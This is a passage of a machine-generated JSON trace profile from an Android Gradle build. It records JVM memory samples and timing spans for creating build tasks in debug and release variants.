0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163685000,"args":{"JVM stats":"heap_memory_usage: 290443016\nnon_heap_memory_usage: 102300472\nloaded_class_count: 13335\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163687000,"args":{"JVM stats":"heap_memory_usage: 291341824\nnon_heap_memory_usage: 102304824\nloaded_class_count: 13335\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163688000,"args":{"JVM stats":"heap_memory_usage: 291341824\nnon_heap_memory_usage: 102307256\nloaded_class_count: 13335\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163689000,"args":{"JVM stats":"heap_memory_usage: 291341824\nnon_heap_memory_usage: 102307256\nloaded_class_count: 13335\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163689001,"args":{"JVM stats":"heap_memory_usage: 291341824\nnon_heap_memory_usage: 102307256\nloaded_class_count: 13335\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163743000,"args":{"JVM stats":"heap_memory_usage: 302128680\nnon_heap_memory_usage: 102403928\nloaded_class_count: 13335\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163747000,"args":{"JVM stats":"heap_memory_usage: 303027568\nnon_heap_memory_usage: 102441344\nloaded_class_count: 13335\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163765000,"args":{"JVM stats":"heap_memory_usage: 304825248\nnon_heap_memory_usage: 102531640\nloaded_class_count: 13336\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163766000,"args":{"JVM stats":"heap_memory_usage: 304825248\nnon_heap_memory_usage: 102533240\nloaded_class_count: 13336\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163769000,"args":{"JVM stats":"heap_memory_usage: 305724200\nnon_heap_memory_usage: 102551432\nloaded_class_count: 13337\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163779000,"args":{"JVM stats":"heap_memory_usage: 305724200\nnon_heap_memory_usage: 102578728\nloaded_class_count: 13339\nthread_count: 30\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":1,"tid":1,"id":2,"name":"base plugin project configure","args":{"span_id":"2","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162533000,"dur":6000},{"pid":1,"tid":1,"id":3,"name":"base plugin project base extension creation","args":{"span_id":"3","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162539000,"dur":7000},{"pid":1,"tid":1,"id":5,"name":"task manager create tasks","args":{"span_id":"5","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162546000,"dur":3000},{"pid":1,"tid":1,"id":4,"name":"base plugin project tasks creation","args":{"span_id":"4","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162546000,"dur":3000},{"pid":1,"tid":1,"id":8,"name":"variant manager create variants","args":{"span_id":"8","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162564000,"dur":7000},{"pid":1,"tid":1,"id":9,"name":"variant manager create tests tasks","args":{"span_id":"9","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162571000,"dur":2000},{"pid":1,"tid":1,"id":11,"name":"app task manager create merge manifest task","args":{"span_id":"11","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162575000,"dur":1000},{"pid":1,"tid":1,"id":12,"name":"app task manager create generate res values task","args":{"span_id":"12","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162576000,"dur":100},{"pid":1,"tid":1,"id":13,"name":"app task manager create create renderscript task","args":{"span_id":"13","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162576000,"dur":100},{"pid":1,"tid":1,"id":14,"name":"app task manager create merge resources task","args":{"span_id":"14","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162576000,"dur":1000},{"pid":1,"tid":1,"id":15,"name":"app task manager create merge assets task","args":{"span_id":"15","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162577000,"dur":100},{"pid":1,"tid":1,"id":16,"name":"app task manager create build config task","args":{"span_id":"16","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162577000,"dur":1000},{"pid":1,"tid":1,"id":17,"name":"app task manager create process res task","args":{"span_id":"17","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162578000,"dur":4000},{"pid":1,"tid":1,"id":18,"name":"app task manager create aidl task","args":{"span_id":"18","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162582000,"dur":1000},{"pid":1,"tid":1,"id":19,"name":"app task manager create shader task","args":{"span_id":"19","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162583000,"dur":1000},{"pid":1,"tid":1,"id":20,"name":"app task manager create ndk task","args":{"span_id":"20","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162584000,"dur":1000},{"pid":1,"tid":1,"id":21,"name":"app task manager create external native build task","args":{"span_id":"21","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162585000,"dur":100},{"pid":1,"tid":1,"id":22,"name":"app task manager create merge jnilibs folders task","args":{"span_id":"22","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162585000,"dur":2000},{"pid":1,"tid":1,"id":23,"name":"app task manager create compile task","args":{"span_id":"23","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162587000,"dur":6000},{"pid":1,"tid":1,"id":24,"name":"app task manager create packaging task","args":{"span_id":"24","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162593000,"dur":5000},{"pid":1,"tid":1,"id":25,"name":"app task manager create lint task","args":{"span_id":"25","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162598000,"dur":1000},{"pid":1,"tid":1,"id":10,"name":"variant manager create tasks for variant","args":{"span_id":"10","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162573000,"dur":26000},{"pid":1,"tid":1,"id":26,"name":"variant manager create tasks for variant","args":{"span_id":"26","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162599000,"dur":6000},{"pid":1,"tid":1,"id":28,"name":"app task manager create merge manifest task","args":{"span_id":"28","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162607000,"dur":1000},{"pid":1,"tid":1,"id":29,"name":"app task manager create generate res values task","args":{"span_id":"29","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162608000,"dur":100},{"pid":1,"tid":1,"id":30,"name":"app task manager create create renderscript task","args":{"span_id":"30","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162608000,"dur":100},{"pid":1,"tid":1,"id":31,"name":"app task manager create merge resources task","args":{"span_id":"31","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162608000,"dur":1000},{"pid":1,"tid":1,"id":32,"name":"app task manager create merge assets task","args":{"span_id":"32","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162609000,"dur":100},{"pid":1,"tid":1,"id":33,"name":"app task manager create build config task","args":{"span_id":"33","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162609000,"dur":100},{"pid":1,"tid":1,"id":34,"name":"app task manager create process res task","args":{"span_id":"34","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162609000,"dur":3000},{"pid":1,"tid":1,"id":35,"name":"app task manager create aidl task","args":{"span_id":"35","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162612000,"dur":1000},{"pid":1,"tid":1,"id":36,"name":"app task manager create shader task","args":{"span_id":"36","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162613000,"dur":100},{"pid":1,"tid":1,"id":37,"name":"app task manager create ndk task","args":{"span_id":"37","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162613000,"dur":100},{"pid":1,"tid":1,"id":38,"name":"app task manager create external native build task","args":{"span_id":"38","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162614000,"dur":100},{"pid":1,"tid":1,"id":39,"name":"app task manager create merge jnilibs folders task","args":{"span_id":"39","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162614000,"dur":3000},{"pid":1,"tid":1,"id":40,"name":"app task manager create compile task","args":{"span_id":"40","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162617000,"dur":6000},{"pid":1,"tid":1,"id":41,"name":"app task manager create packaging task","args":{"span_id":"41","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162623000,"dur":4000},{"pid":1,"tid":1,"id":42,"name":"app task manager create lint task","args":{"span_id":"42","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162627000,"dur":1000},{"pid":1,"tid":1,"id":27,"name":"variant manager create tasks for variant","args":{"span_id":"27","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1520015162605000,"dur":23000},{"pid":1,"tid":1,"id":43,"name":"variant manager create tasks for variant","args":{"span_id":"43","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162628000,"dur":5000},{"pid":1,"tid":1,"id":44,"name":"variant manager create tasks for variant","args":{"span_id":"44","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162633000,"dur":16000},{"pid":1,"tid":1,"id":7,"name":"variant manager create android tasks","args":{"span_id":"7","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162563000,"dur":99000},{"pid":1,"tid":1,"id":45,"name":"variant manager external native config values","args":{"span_id":"45","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162663000,"dur":100},{"pid":1,"tid":1,"id":6,"name":"base plugin create android tasks","args":{"span_id":"6","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1520015162552000,"dur":111000},{"pid":1,"tid":0,"id":46,"name":"task: unknown task type","args":{"span_id":"46","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1520015162748000,"dur":2000},{"pid":1,"tid":0,"id":47,"name":"task: app pre build","args":{"span_id":"47","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: 